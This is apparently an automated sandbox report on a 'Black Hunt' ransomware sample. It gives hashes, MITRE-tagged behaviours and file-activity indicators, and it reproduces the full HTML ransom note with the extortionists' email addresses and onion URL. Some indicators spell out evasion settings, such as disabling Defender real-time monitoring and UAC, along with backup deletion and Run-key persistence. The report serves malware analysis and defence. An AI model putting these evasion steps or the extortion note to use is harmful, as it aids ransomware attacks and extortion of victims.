730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995

Analysis

max time kernel
155s
max time network
135s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:45 UTC

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General

Target

730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
Size

707KB
MD5

a3bbd021de690483b74d17802f4bb118
SHA1

5dba486efbde42277aed5d2401b88e3ddd4b52bd
SHA256

730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995
SHA512

63105a48556eede38298f916ed3286cd399394263689398caf44e4365634c1144df488e365fc191797130d1dcac30a09050c9f4ebe8965385491d05388c4b175
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1q8Rvnh:6uaTmkZJ+naie5OTamgEoKxLWRFh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> 6b2n8SYTC@gmail.com </span>this ID (<span> c9h0hZkVZEkt3sBx </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> Teikobest@gmail.com </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

6b2n8SYTC@gmail.com

Teikobest@gmail.com

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2540	fsutil.exe
3644	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2856	wevtutil.exe
2820	wevtutil.exe
3428	wevtutil.exe
3512	wevtutil.exe
2492	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1576	bcdedit.exe
2184	bcdedit.exe
3672	bcdedit.exe
3740	bcdedit.exe

Renames multiple (2692) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2864	wbadmin.exe
3684	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\W:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\R:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\G:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\H:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\O:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\L:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\U:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\M:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\T:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\A:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\V:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\N:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\P:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\J:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\Z:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\Y:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\I:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\S:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\K:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened (read-only)	\??\X:	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins_1.1.200.v20131119-0908.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-services.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\smtp.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Chatham	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.hta	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_Private.key	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_SelectionSubpicture.png	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.common_2.10.1.v20140901-1043.jar	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png	730dff0a623a60c6814d8d909f0db94ed912e681b14e6dd11c55643ec9643995.exe
